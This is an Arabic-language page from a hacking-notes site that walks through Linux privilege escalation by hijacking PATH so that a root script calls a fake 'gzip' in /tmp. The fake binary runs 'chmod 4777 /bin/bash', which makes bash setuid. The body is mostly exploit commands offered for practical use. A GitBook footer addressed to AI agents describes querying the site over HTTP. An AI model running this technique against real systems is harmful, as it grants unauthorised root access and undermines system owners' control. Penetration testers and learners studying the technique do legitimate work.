> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md).

# اختطاف PATH (gzip) - تصعيد امتيازات لينكس

## ما هو

يستغلّ اختطاف PATH البرامج أو البرامج النصية ذات الصلاحيات التي تستدعي الأوامر دون مسارات مطلقة. إذا كان المهاجم يسيطر على دليل يسبق في `PATH`، يمكن للعملية ذات الصلاحيات تنفيذ الملف الثنائي الخاص بالمهاجم. تركز هذه الصفحة تحديدًا على **اختطاف PATH (gzip)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

## أمثلة

### **تحويل المسار (gzip)**

نستعرض أذونات sudo:

```bash
sudo -l
```

نعثر على برنامج نصي قابل للتنفيذ بصلاحيات الجذر باستخدام `gzip` دون مسار مطلق.

<figure><img src="/files/d9da0cff2656a479baebec509f4757fa407ab195" alt=""><figcaption></figcaption></figure>

#### **إنشاء ملف ثنائي خبيث**

ننشئ ملفًا خبيثًا `gzip` الملف في `/tmp/`:

```bash
chmod 4777 /bin/bash
```

نعدّل المتغير `PATH` لإعطاء الأولوية لـ `/tmp/`:

```bash
export PATH=/tmp/:$PATH
```

<figure><img src="/files/6db385d8ee52b1a33f2cf953ccdead97fa0d79ee" alt=""><figcaption></figcaption></figure>

نشغّل البرنامج النصي كجذر:

```bash
sudo /opt/scripts/access_backup.sh
```

<figure><img src="/files/5d46411c51fd6f792e81e01ecf620f6687cd072a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/path-hijacking/path-hijacking-gzip-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
